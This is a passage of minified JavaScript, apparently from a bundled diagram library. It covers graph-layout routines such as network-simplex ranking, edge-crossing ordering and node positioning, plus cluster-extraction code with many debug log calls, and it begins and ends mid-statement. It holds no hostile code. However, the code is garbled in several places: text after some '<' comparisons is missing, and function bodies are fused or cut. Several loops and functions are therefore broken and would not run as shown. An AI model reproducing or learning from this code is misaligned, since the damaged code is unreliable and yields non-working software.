cn({directed:!1}),r=t.nodes()[0],n=t.nodeCount();e.setNode(r,{});for(var i,a;rFe(e,t){"use strict";Yt();qo();bk();o(Tk,"feasibleTree");o(rFe,"tightTree");o(nFe,"findMinSlackEdge");o(iFe,"shiftRanks")});var wse=N(()=>{"use strict"});var KR=N(()=>{"use strict"});var cjt,QR=N(()=>{"use strict";Yt();KR();cjt=Ns(1)});var kse=N(()=>{"use strict";QR()});var ZR=N(()=>{"use strict"});var Ese=N(()=>{"use strict";ZR()});var bjt,Sse=N(()=>{"use strict";Yt();bjt=Ns(1)});function JR(t){var e={},r={},n=[];function i(a){if(Object.prototype.hasOwnProperty.call(r,a))throw new U2;Object.prototype.hasOwnProperty.call(e,a)||(r[a]=!0,e[a]=!0,Ae(t.predecessors(a),i),delete r[a],n.push(a))}if(o(i,"visit"),Ae(t.sinks(),i),BR(e)!==t.nodeCount())throw new U2;return n}function U2(){}var eN=N(()=>{"use strict";Yt();JR.CycleException=U2;o(JR,"topsort");o(U2,"CycleException");U2.prototype=new Error});var Cse=N(()=>{"use strict";eN()});function wk(t,e,r){Bt(e)||(e=[e]);var n=(t.isDirected()?t.successors:t.neighbors).bind(t),i=[],a={};return Ae(e,function(s){if(!t.hasNode(s))throw new Error("Graph does not have node: "+s);Ase(t,s,r==="post",a,n,i)}),i}function Ase(t,e,r,n,i,a){Object.prototype.hasOwnProperty.call(n,e)||(n[e]=!0,r||a.push(e),Ae(i(e),function(s){Ase(t,s,r,n,i,a)}),r&&a.push(e))}var tN=N(()=>{"use strict";Yt();o(wk,"dfs");o(Ase,"doDfs")});function rN(t,e){return wk(t,e,"post")}var _se=N(()=>{"use strict";tN();o(rN,"postorder")});function nN(t,e){return wk(t,e,"pre")}var Dse=N(()=>{"use strict";tN();o(nN,"preorder")});var Lse=N(()=>{"use strict";KR();gk()});var Rse=N(()=>{"use strict";wse();QR();kse();Ese();Sse();Cse();_se();Dse();Lse();ZR();eN()});function ff(t){t=ase(t),V2(t);var e=Tk(t);aN(e),iN(e,t);for(var r,n;r=Ose(e);)n=Pse(e,t,r),Bse(e,t,r,n)}function iN(t,e){var r=rN(t,t.nodes());r=r.slice(0,r.length-1),Ae(r,function(n){cFe(t,e,n)})}function cFe(t,e,r){var n=t.node(r),i=n.parent;t.edge(r,i).cutvalue=Mse(t,e,r)}function Mse(t,e,r){var n=t.node(r),i=n.parent,a=!0,s=e.edge(r,i),l=0;return s||(a=!1,s=e.edge(i,r)),l=s.weight,Ae(e.nodeEdges(r),function(u){var h=u.v===r,f=h?u.w:u.v;if(f!==i){var d=h===a,p=e.edge(u).weight;if(l+=d?p:-p,hFe(t,r,f)){var m=t.edge(r,f).cutvalue;l+=d?-m:m}}}),l}function aN(t,e){arguments.length<2&&(e=t.nodes()[0]),Ise(t,{},1,e)}function Ise(t,e,r,n,i){var a=r,s=t.node(n);return e[n]=!0,Ae(t.neighbors(n),function(l){Object.prototype.hasOwnProperty.call(e,l)||(r=Ise(t,e,r,l,n))}),s.low=a,s.lim=r++,i?s.parent=i:delete s.parent,r}function Ose(t){return os(t.edges(),function(e){return t.edge(e).cutvalue<0})}function Pse(t,e,r){var n=r.v,i=r.w;e.hasEdge(n,i)||(n=r.w,i=r.v);var a=t.node(n),s=t.node(i),l=a,u=!1;a.lim>s.lim&&(l=s,u=!0);var h=Zr(e.edges(),function(f){return u===Nse(t,t.node(f.v),l)&&u!==Nse(t,t.node(f.w),l)});return sp(h,function(f){return up(e,f)})}function Bse(t,e,r,n){var i=r.v,a=r.w;t.removeEdge(i,a),t.setEdge(n.v,n.w,{}),aN(t),iN(t,e),uFe(t,e)}function uFe(t,e){var r=os(t.nodes(),function(i){return!e.node(i).parent}),n=nN(t,r);n=n.slice(1),Ae(n,function(i){var a=t.node(i).parent,s=e.edge(i,a),l=!1;s||(s=e.edge(a,i),l=!0),e.node(i).rank=e.node(a).rank+(l?s.minlen:-s.minlen)})}function hFe(t,e,r){return t.hasEdge(e,r)}function Nse(t,e,r){return r.low<=e.lim&&e.lim<=r.lim}var Fse=N(()=>{"use strict";Yt();Rse();Rc();jR();bk();ff.initLowLimValues=aN;ff.initCutValues=iN;ff.calcCutValue=Mse;ff.leaveEdge=Ose;ff.enterEdge=Pse;ff.exchangeEdges=Bse;o(ff,"networkSimplex");o(iN,"initCutValues");o(cFe,"assignCutValue");o(Mse,"calcCutValue");o(aN,"initLowLimValues");o(Ise,"dfsAssignLowLim");o(Ose,"leaveEdge");o(Pse,"enterEdge");o(Bse,"exchangeEdges");o(uFe,"updateRanks");o(hFe,"isTreeEdge");o(Nse,"isDescendant")});function sN(t){switch(t.graph().ranker){case"network-simplex":$se(t);break;case"tight-tree":dFe(t);break;case"longest-path":fFe(t);break;default:$se(t)}}function dFe(t){V2(t),Tk(t)}function $se(t){ff(t)}var fFe,oN=N(()=>{"use strict";jR();Fse();bk();o(sN,"rank");fFe=V2;o(dFe,"tightTreeRanker");o($se,"networkSimplexRanker")});function zse(t){var e=Lc(t,"root",{},"_root"),r=pFe(t),n=Gs(kr(r))-1,i=2*n+1;t.graph().nestingRoot=e,Ae(t.edges(),function(s){t.edge(s).minlen*=i});var a=mFe(t)+1;Ae(t.children(),function(s){Gse(t,e,i,a,n,r,s)}),t.graph().nodeRankFactor=i}function Gse(t,e,r,n,i,a,s){var l=t.children(s);if(!l.length){s!==e&&t.setEdge(e,s,{weight:0,minlen:r});return}var u=HR(t,"_bt"),h=HR(t,"_bb"),f=t.node(s);t.setParent(u,s),f.borderTop=u,t.setParent(h,s),f.borderBottom=h,Ae(l,function(d){Gse(t,e,r,n,i,a,d);var p=t.node(d),m=p.borderTop?p.borderTop:d,g=p.borderBottom?p.borderBottom:d,y=p.borderTop?n:2*n,v=m!==g?1:i-a[s]+1;t.setEdge(u,m,{weight:y,minlen:v,nestingEdge:!0}),t.setEdge(g,h,{weight:y,minlen:v,nestingEdge:!0})}),t.parent(s)||t.setEdge(e,u,{weight:0,minlen:i+a[s]})}function pFe(t){var e={};function r(n,i){var a=t.children(n);a&&a.length&&Ae(a,function(s){r(s,i+1)}),e[n]=i}return o(r,"dfs"),Ae(t.children(),function(n){r(n,1)}),e}function mFe(t){return Jr(t.edges(),function(e,r){return e+t.edge(r).weight},0)}function Vse(t){var e=t.graph();t.removeNode(e.nestingRoot),delete e.nestingRoot,Ae(t.edges(),function(r){var n=t.edge(r);n.nestingEdge&&t.removeEdge(r)})}var Use=N(()=>{"use strict";Yt();Rc();o(zse,"run");o(Gse,"dfs");o(pFe,"treeDepths");o(mFe,"sumWeights");o(Vse,"cleanup")});function Hse(t,e,r){var n={},i;Ae(r,function(a){for(var s=t.parent(a),l,u;s;){if(l=t.parent(s),l?(u=n[l],n[l]=s):(u=i,i=s),u&&u!==s){e.setEdge(u,s);return}s=l}})}var qse=N(()=>{"use strict";Yt();o(Hse,"addSubgraphConstraints")});function Wse(t,e,r){var n=yFe(t),i=new cn({compound:!0}).setGraph({root:n}).setDefaultNodeLabel(function(a){return t.node(a)});return Ae(t.nodes(),function(a){var s=t.node(a),l=t.parent(a);(s.rank===e||s.minRank<=e&&e<=s.maxRank)&&(i.setNode(a),i.setParent(a,l||n),Ae(t[r](a),function(u){var h=u.v===a?u.w:u.v,f=i.edge(h,a),d=xr(f)?0:f.weight;i.setEdge(h,a,{weight:t.edge(u).weight+d})}),Object.prototype.hasOwnProperty.call(s,"minRank")&&i.setNode(a,{borderLeft:s.borderLeft[e],borderRight:s.borderRight[e]}))}),i}function yFe(t){for(var e;t.hasNode(e=lp("_root")););return e}var Yse=N(()=>{"use strict";Yt();qo();o(Wse,"buildLayerGraph");o(yFe,"createRootNode")});function Xse(t,e){for(var r=0,n=1;n0;)f%2&&(d+=l[f+1]),f=f-1>>1,l[f]+=h.weight;u+=h.weight*d})),u}var jse=N(()=>{"use strict";Yt();o(Xse,"crossCount");o(vFe,"twoLayerCrossCount")});function Kse(t){var e={},r=Zr(t.nodes(),function(l){return!t.children(l).length}),n=Gs(rt(r,function(l){return t.node(l).rank})),i=rt(Ho(n+1),function(){return[]});function a(l){if(!Ft(e,l)){e[l]=!0;var u=t.node(l);i[u.rank].push(l),Ae(t.successors(l),a)}}o(a,"dfs");var s=Dc(r,function(l){return t.node(l).rank});return Ae(s,a),i}var Qse=N(()=>{"use strict";Yt();o(Kse,"initOrder")});function Zse(t,e){return rt(e,function(r){var n=t.inEdges(r);if(n.length){var i=Jr(n,function(a,s){var l=t.edge(s),u=t.node(s.v);return{sum:a.sum+l.weight*u.order,weight:a.weight+l.weight}},{sum:0,weight:0});return{v:r,barycenter:i.sum/i.weight,weight:i.weight}}else return{v:r}})}var Jse=N(()=>{"use strict";Yt();o(Zse,"barycenter")});function eoe(t,e){var r={};Ae(t,function(i,a){var s=r[i.v]={indegree:0,in:[],out:[],vs:[i.v],i:a};xr(i.barycenter)||(s.barycenter=i.barycenter,s.weight=i.weight)}),Ae(e.edges(),function(i){var a=r[i.v],s=r[i.w];!xr(a)&&!xr(s)&&(s.indegree++,a.out.push(r[i.w]))});var n=Zr(r,function(i){return!i.indegree});return xFe(n)}function xFe(t){var e=[];function r(a){return function(s){s.merged||(xr(s.barycenter)||xr(a.barycenter)||s.barycenter>=a.barycenter)&&bFe(a,s)}}o(r,"handleIn");function n(a){return function(s){s.in.push(a),--s.indegree===0&&t.push(s)}}for(o(n,"handleOut");t.length;){var i=t.pop();e.push(i),Ae(i.in.reverse(),r(i)),Ae(i.out,n(i))}return rt(Zr(e,function(a){return!a.merged}),function(a){return op(a,["vs","i","barycenter","weight"])})}function bFe(t,e){var r=0,n=0;t.weight&&(r+=t.barycenter*t.weight,n+=t.weight),e.weight&&(r+=e.barycenter*e.weight,n+=e.weight),t.vs=e.vs.concat(t.vs),t.barycenter=r/n,t.weight=n,t.i=Math.min(e.i,t.i),e.merged=!0}var toe=N(()=>{"use strict";Yt();o(eoe,"resolveConflicts");o(xFe,"doResolveConflicts");o(bFe,"mergeEntries")});function noe(t,e){var r=lse(t,function(f){return Object.prototype.hasOwnProperty.call(f,"barycenter")}),n=r.lhs,i=Dc(r.rhs,function(f){return-f.i}),a=[],s=0,l=0,u=0;n.sort(TFe(!!e)),u=roe(a,i,u),Ae(n,function(f){u+=f.vs.length,a.push(f.vs),s+=f.barycenter*f.weight,l+=f.weight,u=roe(a,i,u)});var h={vs:Qr(a)};return l&&(h.barycenter=s/l,h.weight=l),h}function roe(t,e,r){for(var n;e.length&&(n=ma(e)).i<=r;)e.pop(),t.push(n.vs),r++;return r}function TFe(t){return function(e,r){return e.barycenterr.barycenter?1:t?r.i-e.i:e.i-r.i}}var ioe=N(()=>{"use strict";Yt();Rc();o(noe,"sort");o(roe,"consumeUnsortable");o(TFe,"compareWithBias")});function lN(t,e,r,n){var i=t.children(e),a=t.node(e),s=a?a.borderLeft:void 0,l=a?a.borderRight:void 0,u={};s&&(i=Zr(i,function(g){return g!==s&&g!==l}));var h=Zse(t,i);Ae(h,function(g){if(t.children(g.v).length){var y=lN(t,g.v,r,n);u[g.v]=y,Object.prototype.hasOwnProperty.call(y,"barycenter")&&kFe(g,y)}});var f=eoe(h,r);wFe(f,u);var d=noe(f,n);if(s&&(d.vs=Qr([s,d.vs,l]),t.predecessors(s).length)){var p=t.node(t.predecessors(s)[0]),m=t.node(t.predecessors(l)[0]);Object.prototype.hasOwnProperty.call(d,"barycenter")||(d.barycenter=0,d.weight=0),d.barycenter=(d.barycenter*d.weight+p.order+m.order)/(d.weight+2),d.weight+=2}return d}function wFe(t,e){Ae(t,function(r){r.vs=Qr(r.vs.map(function(n){return e[n]?e[n].vs:n}))})}function kFe(t,e){xr(t.barycenter)?(t.barycenter=e.barycenter,t.weight=e.weight):(t.barycenter=(t.barycenter*t.weight+e.barycenter*e.weight)/(t.weight+e.weight),t.weight+=e.weight)}var aoe=N(()=>{"use strict";Yt();Jse();toe();ioe();o(lN,"sortSubgraph");o(wFe,"expandSubgraphs");o(kFe,"mergeBarycenters")});function loe(t){var e=qR(t),r=soe(t,Ho(1,e+1),"inEdges"),n=soe(t,Ho(e-1,-1,-1),"outEdges"),i=Kse(t);ooe(t,i);for(var a=Number.POSITIVE_INFINITY,s,l=0,u=0;u<4;++l,++u){EFe(l%2?r:n,l%4>=2),i=uf(t);var h=Xse(t,i);h{"use strict";Yt();qo();Rc();qse();Yse();jse();Qse();aoe();o(loe,"order");o(soe,"buildLayerGraphs");o(EFe,"sweepLayerGraphs");o(ooe,"assignOrder")});function uoe(t){var e=CFe(t);Ae(t.graph().dummyChains,function(r){for(var n=t.node(r),i=n.edgeObj,a=SFe(t,e,i.v,i.w),s=a.path,l=a.lca,u=0,h=s[u],f=!0;r!==i.w;){if(n=t.node(r),f){for(;(h=s[u])!==l&&t.node(h).maxRanks||l>e[u].lim));for(h=u,u=n;(u=t.parent(u))!==h;)a.push(u);return{path:i.concat(a.reverse()),lca:h}}function CFe(t){var e={},r=0;function n(i){var a=r;Ae(t.children(i),n),e[i]={low:a,lim:r++}}return o(n,"dfs"),Ae(t.children(),n),e}var hoe=N(()=>{"use strict";Yt();o(uoe,"parentDummyChains");o(SFe,"findPath");o(CFe,"postorder")});function AFe(t,e){var r={};function n(i,a){var s=0,l=0,u=i.length,h=ma(a);return Ae(a,function(f,d){var p=DFe(t,f),m=p?t.node(p).order:u;(p||f===h)&&(Ae(a.slice(l,d+1),function(g){Ae(t.predecessors(g),function(y){var v=t.node(y),x=v.order;(xh)&&foe(r,p,f)})})}o(n,"scan");function i(a,s){var l=-1,u,h=0;return Ae(s,function(f,d){if(t.node(f).dummy==="border"){var p=t.predecessors(f);p.length&&(u=t.node(p[0]).order,n(s,h,d,l,u),h=d,l=u)}n(s,h,s.length,u,a.length)}),s}return o(i,"visitLayer"),Jr(e,i),r}function DFe(t,e){if(t.node(e).dummy)return os(t.predecessors(e),function(r){return t.node(r).dummy})}function foe(t,e,r){if(e>r){var n=e;e=r,r=n}var i=t[e];i||(t[e]=i={}),i[r]=!0}function LFe(t,e,r){if(e>r){var n=e;e=r,r=n}return!!t[e]&&Object.prototype.hasOwnProperty.call(t[e],r)}function RFe(t,e,r,n){var i={},a={},s={};return Ae(e,function(l){Ae(l,function(u,h){i[u]=u,a[u]=u,s[u]=h})}),Ae(e,function(l){var u=-1;Ae(l,function(h){var f=n(h);if(f.length){f=Dc(f,function(y){return s[y]});for(var d=(f.length-1)/2,p=Math.floor(d),m=Math.ceil(d);p<=m;++p){var g=f[p];a[h]===h&&u{"use strict";Yt();qo();Rc();o(AFe,"findType1Conflicts");o(_Fe,"findType2Conflicts");o(DFe,"findOtherInnerSegmentNode");o(foe,"addConflict");o(LFe,"hasConflict");o(RFe,"verticalAlignment");o(NFe,"horizontalCompaction");o(MFe,"buildBlockGraph");o(IFe,"findSmallestWidthAlignment");o(OFe,"alignCoordinates");o(PFe,"balance");o(doe,"positionX");o(BFe,"sep");o(FFe,"width")});function moe(t){t=xk(t),$Fe(t),_R(doe(t),function(e,r){t.node(r).x=e})}function $Fe(t){var e=uf(t),r=t.graph().ranksep,n=0;Ae(e,function(i){var a=Gs(rt(i,function(s){return t.node(s).height}));Ae(i,function(s){t.node(s).y=n+a/2}),n+=a+r})}var goe=N(()=>{"use strict";Yt();Rc();poe();o(moe,"position");o($Fe,"positionY")});function H2(t,e){var r=e&&e.debugTiming?cse:use;r("layout",()=>{var n=r(" buildLayoutGraph",()=>KFe(t));r(" runLayout",()=>zFe(n,r)),r(" updateInputGraph",()=>GFe(t,n))})}function zFe(t,e){e(" makeSpaceForEdgeLabels",()=>QFe(t)),e(" removeSelfEdges",()=>s$e(t)),e(" acyclic",()=>rse(t)),e(" nestingGraph.run",()=>zse(t)),e(" rank",()=>sN(xk(t))),e(" injectEdgeLabelProxies",()=>ZFe(t)),e(" removeEmptyRanks",()=>ose(t)),e(" nestingGraph.cleanup",()=>Vse(t)),e(" normalizeRanks",()=>sse(t)),e(" assignRankMinMax",()=>JFe(t)),e(" removeEdgeLabelProxies",()=>e$e(t)),e(" normalize.run",()=>xse(t)),e(" parentDummyChains",()=>uoe(t)),e(" addBorderSegments",()=>fse(t)),e(" order",()=>loe(t)),e(" insertSelfEdges",()=>o$e(t)),e(" adjustCoordinateSystem",()=>mse(t)),e(" position",()=>moe(t)),e(" positionSelfEdges",()=>l$e(t)),e(" removeBorderNodes",()=>a$e(t)),e(" normalize.undo",()=>bse(t)),e(" fixupEdgeLabelCoords",()=>n$e(t)),e(" undoCoordinateSystem",()=>gse(t)),e(" translateGraph",()=>t$e(t)),e(" assignNodeIntersects",()=>r$e(t)),e(" reversePoints",()=>i$e(t)),e(" acyclic.undo",()=>nse(t))}function GFe(t,e){Ae(t.nodes(),function(r){var n=t.node(r),i=e.node(r);n&&(n.x=i.x,n.y=i.y,e.children(r).length&&(n.width=i.width,n.height=i.height))}),Ae(t.edges(),function(r){var n=t.edge(r),i=e.edge(r);n.points=i.points,Object.prototype.hasOwnProperty.call(i,"x")&&(n.x=i.x,n.y=i.y)}),t.graph().width=e.graph().width,t.graph().height=e.graph().height}function KFe(t){var e=new cn({multigraph:!0,compound:!0}),r=uN(t.graph());return e.setGraph(Wh({},UFe,cN(r,VFe),op(r,HFe))),Ae(t.nodes(),function(n){var i=uN(t.node(n));e.setNode(n,of(cN(i,qFe),WFe)),e.setParent(n,t.parent(n))}),Ae(t.edges(),function(n){var i=uN(t.edge(n));e.setEdge(n,Wh({},XFe,cN(i,YFe),op(i,jFe)))}),e}function QFe(t){var e=t.graph();e.ranksep/=2,Ae(t.edges(),function(r){var n=t.edge(r);n.minlen*=2,n.labelpos.toLowerCase()!=="c"&&(e.rankdir==="TB"||e.rankdir==="BT"?n.width+=n.labeloffset:n.height+=n.labeloffset)})}function ZFe(t){Ae(t.edges(),function(e){var r=t.edge(e);if(r.width&&r.height){var n=t.node(e.v),i=t.node(e.w),a={rank:(i.rank-n.rank)/2+n.rank,e};Lc(t,"edge-proxy",a,"_ep")}})}function JFe(t){var e=0;Ae(t.nodes(),function(r){var n=t.node(r);n.borderTop&&(n.minRank=t.node(n.borderTop).rank,n.maxRank=t.node(n.borderBottom).rank,e=Gs(e,n.maxRank))}),t.graph().maxRank=e}function e$e(t){Ae(t.nodes(),function(e){var r=t.node(e);r.dummy==="edge-proxy"&&(t.edge(r.e).labelRank=r.rank,t.removeNode(e))})}function t$e(t){var e=Number.POSITIVE_INFINITY,r=0,n=Number.POSITIVE_INFINITY,i=0,a=t.graph(),s=a.marginx||0,l=a.marginy||0;function u(h){var f=h.x,d=h.y,p=h.width,m=h.height;e=Math.min(e,f-p/2),r=Math.max(r,f+p/2),n=Math.min(n,d-m/2),i=Math.max(i,d+m/2)}o(u,"getExtremes"),Ae(t.nodes(),function(h){u(t.node(h))}),Ae(t.edges(),function(h){var f=t.edge(h);Object.prototype.hasOwnProperty.call(f,"x")&&u(f)}),e-=s,n-=l,Ae(t.nodes(),function(h){var f=t.node(h);f.x-=e,f.y-=n}),Ae(t.edges(),function(h){var f=t.edge(h);Ae(f.points,function(d){d.x-=e,d.y-=n}),Object.prototype.hasOwnProperty.call(f,"x")&&(f.x-=e),Object.prototype.hasOwnProperty.call(f,"y")&&(f.y-=n)}),a.width=r-e+s,a.height=i-n+l}function r$e(t){Ae(t.edges(),function(e){var r=t.edge(e),n=t.node(e.v),i=t.node(e.w),a,s;r.points?(a=r.points[0],s=r.points[r.points.length-1]):(r.points=[],a=i,s=n),r.points.unshift(UR(n,a)),r.points.push(UR(i,s))})}function n$e(t){Ae(t.edges(),function(e){var r=t.edge(e);if(Object.prototype.hasOwnProperty.call(r,"x"))switch((r.labelpos==="l"||r.labelpos==="r")&&(r.width-=r.labeloffset),r.labelpos){case"l":r.x-=r.width/2+r.labeloffset;break;case"r":r.x+=r.width/2+r.labeloffset;break}})}function i$e(t){Ae(t.edges(),function(e){var r=t.edge(e);r.reversed&&r.points.reverse()})}function a$e(t){Ae(t.nodes(),function(e){if(t.children(e).length){var r=t.node(e),n=t.node(r.borderTop),i=t.node(r.borderBottom),a=t.node(ma(r.borderLeft)),s=t.node(ma(r.borderRight));r.width=Math.abs(s.x-a.x),r.height=Math.abs(i.y-n.y),r.x=a.x+r.width/2,r.y=n.y+r.height/2}}),Ae(t.nodes(),function(e){t.node(e).dummy==="border"&&t.removeNode(e)})}function s$e(t){Ae(t.edges(),function(e){if(e.v===e.w){var r=t.node(e.v);r.selfEdges||(r.selfEdges=[]),r.selfEdges.push({e,label:t.edge(e)}),t.removeEdge(e)}})}function o$e(t){var e=uf(t);Ae(e,function(r){var n=0;Ae(r,function(i,a){var s=t.node(i);s.order=a+n,Ae(s.selfEdges,function(l){Lc(t,"selfedge",{width:l.label.width,height:l.label.height,rank:s.rank,order:a+ ++n,e:l.e,label:l.label},"_se")}),delete s.selfEdges})})}function l$e(t){Ae(t.nodes(),function(e){var r=t.node(e);if(r.dummy==="selfedge"){var n=t.node(r.e.v),i=n.x+n.width/2,a=n.y,s=r.x-i,l=n.height/2;t.setEdge(r.e,r.label),t.removeNode(e),r.label.points=[{x:i+2*s/3,y:a-l},{x:i+5*s/6,y:a-l},{x:i+s,y:a},{x:i+5*s/6,y:a+l},{x:i+2*s/3,y:a+l}],r.label.x=r.x,r.label.y=r.y}})}function cN(t,e){return ap(op(t,e),Number)}function uN(t){var e={};return Ae(t,function(r,n){e[n.toLowerCase()]=r}),e}var VFe,UFe,HFe,qFe,WFe,YFe,XFe,jFe,yoe=N(()=>{"use strict";Yt();qo();dse();vse();VR();XR();oN();Use();coe();hoe();goe();Rc();o(H2,"layout");o(zFe,"runLayout");o(GFe,"updateInputGraph");VFe=["nodesep","edgesep","ranksep","marginx","marginy"],UFe={ranksep:50,edgesep:20,nodesep:50,rankdir:"tb"},HFe=["acyclicer","ranker","rankdir","align"],qFe=["width","height"],WFe={width:0,height:0},YFe=["minlen","weight","width","height","labeloffset"],XFe={minlen:1,weight:1,width:0,height:0,labeloffset:10,labelpos:"r"},jFe=["labelpos"];o(KFe,"buildLayoutGraph");o(QFe,"makeSpaceForEdgeLabels");o(ZFe,"injectEdgeLabelProxies");o(JFe,"assignRankMinMax");o(e$e,"removeEdgeLabelProxies");o(t$e,"translateGraph");o(r$e,"assignNodeIntersects");o(n$e,"fixupEdgeLabelCoords");o(i$e,"reversePointsForReversedEdges");o(a$e,"removeBorderNodes");o(s$e,"removeSelfEdges");o(o$e,"insertSelfEdges");o(l$e,"positionSelfEdges");o(cN,"selectNumberAttrs");o(uN,"canonicalize")});var hN=N(()=>{"use strict";VR();yoe();XR();oN()});function Wo(t){var e={options:{directed:t.isDirected(),multigraph:t.isMultigraph(),compound:t.isCompound()},nodes:c$e(t),edges:u$e(t)};return xr(t.graph())||(e.value=ln(t.graph())),e}function c$e(t){return rt(t.nodes(),function(e){var r=t.node(e),n=t.parent(e),i={v:e};return xr(r)||(i.value=r),xr(n)||(i.parent=n),i})}function u$e(t){return rt(t.edges(),function(e){var r=t.edge(e),n={v:e.v,w:e.w};return xr(e.name)||(n.name=e.name),xr(r)||(n.value=r),n})}var fN=N(()=>{"use strict";Yt();gk();o(Wo,"write");o(c$e,"writeNodes");o(u$e,"writeEdges")});var Er,hp,boe,Toe,kk,h$e,woe,koe,f$e,Wm,xoe,Eoe,Soe,Coe,Aoe,_oe=N(()=>{"use strict";pt();qo();fN();Er=new Map,hp=new Map,boe=new Map,Toe=o(()=>{hp.clear(),boe.clear(),Er.clear()},"clear"),kk=o((t,e)=>{let r=hp.get(e)||[];return X.trace("In isDescendant",e," ",t," = ",r.includes(t)),r.includes(t)},"isDescendant"),h$e=o((t,e)=>{let r=hp.get(e)||[];return X.info("Descendants of ",e," is ",r),X.info("Edge is ",t),t.v===e||t.w===e?!1:r?r.includes(t.v)||kk(t.v,e)||kk(t.w,e)||r.includes(t.w):(X.debug("Tilt, ",e,",not in descendants"),!1)},"edgeInCluster"),woe=o((t,e,r,n)=>{X.warn("Copying children of ",t,"root",n,"data",e.node(t),n);let i=e.children(t)||[];t!==n&&i.push(t),X.warn("Copying (nodes) clusterId",t,"nodes",i),i.forEach(a=>{if(e.children(a).length>0)woe(a,e,r,n);else{let s=e.node(a);X.info("cp ",a," to ",n," with parent ",t),r.setNode(a,s),n!==e.parent(a)&&(X.warn("Setting parent",a,e.parent(a)),r.setParent(a,e.parent(a))),t!==n&&a!==t?(X.debug("Setting parent",a,t),r.setParent(a,t)):(X.info("In copy ",t,"root",n,"data",e.node(t),n),X.debug("Not Setting parent for node=",a,"cluster!==rootId",t!==n,"node!==clusterId",a!==t));let l=e.edges(a);X.debug("Copying Edges",l),l.forEach(u=>{X.info("Edge",u);let h=e.edge(u.v,u.w,u.name);X.info("Edge data",h,n);try{h$e(u,n)?(X.info("Copying as ",u.v,u.w,h,u.name),r.setEdge(u.v,u.w,h,u.name),X.info("newGraph edges ",r.edges(),r.edge(r.edges()[0]))):X.info("Skipping copy of edge ",u.v,"-->",u.w," rootId: ",n," clusterId:",t)}catch(f){X.error(f)}})}X.debug("Removing node",a),e.removeNode(a)})},"copy"),koe=o((t,e)=>{let r=e.children(t),n=[...r];for(let i of r)boe.set(i,t),n=[...n,...koe(i,e)];return n},"extractDescendants"),f$e=o((t,e,r)=>{let n=t.edges().filter(u=>u.v===e||u.w===e),i=t.edges().filter(u=>u.v===r||u.w===r),a=n.map(u=>({v:u.v===e?r:u.v,w:u.w===e?e:u.w})),s=i.map(u=>({v:u.v,w:u.w}));return a.filter(u=>s.some(h=>u.v===h.v&&u.w===h.w))},"findCommonEdges"),Wm=o((t,e,r)=>{let n=e.children(t);if(X.trace("Searching children of id ",t,n),n.length<1)return t;let i;for(let a of n){let s=Wm(a,e,r),l=f$e(e,r,s);if(s)if(l.length>0)i=s;else return s}return i},"findNonClusterChild"),xoe=o(t=>!Er.has(t)||!Er.get(t).externalConnections?t:Er.has(t)?Er.get(t).id:t,"getAnchorId"),Eoe=o((t,e)=>{if(!t||e>10){X.debug("Opting out, no graph ");return}else X.debug("Opting in, graph ");t.nodes().forEach(function(r){t.children(r).length>0&&(X.warn("Cluster identified",r," Replacement id in edges: ",Wm(r,t,r)),hp.set(r,koe(r,t)),Er.set(r,{id:Wm(r,t,r),clusterData:t.node(r)}))}),t.nodes().forEach(function(r){let n=t.children(r),i=t.edges();n.length>0?(X.debug("Cluster identified",r,hp),i.forEach(a=>{let s=kk(a.v,r),l=kk(a.w,r);s^l&&(X.warn("Edge: ",a," leaves cluster ",r),X.warn("Descendants of XXX ",r,": ",hp.get(r)),Er.get(r).externalConnections=!0)})):X.debug("Not a cluster ",r,hp)});for(let r of Er.keys()){let n=Er.get(r).id,i=t.parent(n);i!==r&&Er.has(i)&&!Er.get(i).externalConnections&&(Er.get(r).id=i)}t.edges().forEach(function(r){let n=t.edge(r);X.warn("Edge "+r.v+" -> "+r.w+": "+JSON.stringify(r)),X.warn("Edge "+r.v+" -> "+r.w+": "+JSON.stringify(t.edge(r)));let i=r.v,a=r.w;if(X.warn("Fix XXX",Er,"ids:",r.v,r.w,"Translating: ",Er.get(r.v)," --- ",Er.get(r.w)),Er.get(r.v)||Er.get(r.w)){if(X.warn("Fixing and trying - removing XXX",r.v,r.w,r.name),i=xoe(r.v),a=xoe(r.w),t.removeEdge(r.v,r.w,r.name),i!==r.v){let s=t.parent(i);Er.get(s).externalConnections=!0,n.fromCluster=r.v}if(a!==r.w){let s=t.parent(a);Er.get(s).externalConnections=!0,n.toCluster=r.w}X.warn("Fix Replacing with XXX",i,a,r.name),t.setEdge(i,a,n,r.name)}}),X.warn("Adjusted Graph",Wo(t)),Soe(t,0),X.trace(Er)},"adjustClustersAndEdges"),Soe=o((t,e)=>{if(X.warn("extractor - ",e,Wo(t),t.children("D")),e>10){X.error("Bailing out");return}let r=t.nodes(),n=!1;for(let i of r){let a=t.children(i);n=n||a.length>0}if(!n){X.debug("Done, no node has children",t.nodes());return}X.debug("Nodes = ",r,e);for(let i of r)if(X.debug("Extracting node",i,Er,Er.has(i)&&!Er.get(i).externalConnections,!t.parent(i),t.node(i),t.children("D")," Depth ",e),!Er.has(i))X.debug("Not a cluster",i,e);else if(!Er.get(i).externalConnections&&t.children(i)&&t.children(i).length>0){X.warn("Cluster without external connections, without a parent and with children",i,e);let s=t.graph().rankdir==="TB"?"LR":"TB";Er.get(i)?.clusterData?.dir&&(s=Er.get(i).clusterData.dir,X.warn("Fixing dir",Er.get(i).clusterData.dir,s));let l=new cn({multigraph:!0,compound:!0}).setGraph({rankdir:s,nodesep:50,ranksep:50,marginx:8,marginy:8}).setDefaultEdgeLabel(function(){return{}});X.warn("Old graph before copy",Wo(t)),woe(i,t,l,i),t.setNode(i,{clusterNode:!0,id:i,clusterData:Er.get(i).clusterData,label:Er.get(i).label,graph:l}),X.warn("New graph after copy node: (",i,")",Wo(l)),X.debug("Old graph after copy",Wo(t))}else X.warn("Cluster ** ",i," **not meeting the criteria !externalConnections:",!Er.get(i).externalConnections," no parent: ",!t.parent(i)," children ",t.children(i)&&t.children(i).length>0,t.children("D"),e),X.debug(Er);r=t.nodes(),X.warn("New list of nodes",r);for(let i of r){let a=t.node(i);X.warn(" Now next level",i,a),a?.clusterNode&&Soe(a.graph,e+1)}},"extractor"),Coe=o((t,e)=>{if(e.length===0)return[];let r=Object.assign([],e);return e.forEach(n=>{let i=t.children(n),a=Coe(t,i);r=[...r,...a]}),r},"sorter"),Aoe=o(t=>Coe(t,t.children()),"sortNodesByHierarchy")});var Loe={};dr(Loe,{render:()=>d$e});var Doe,d$e,Roe=N(()=>{"use strict";hN();fN();qo();K9();It();_oe();bw();cw();j9();pt();O2();Xt();Doe=o(async(t,e,r,n,i,a)=>{X.warn("Graph in recursive render:XAX",Wo(e),i);let 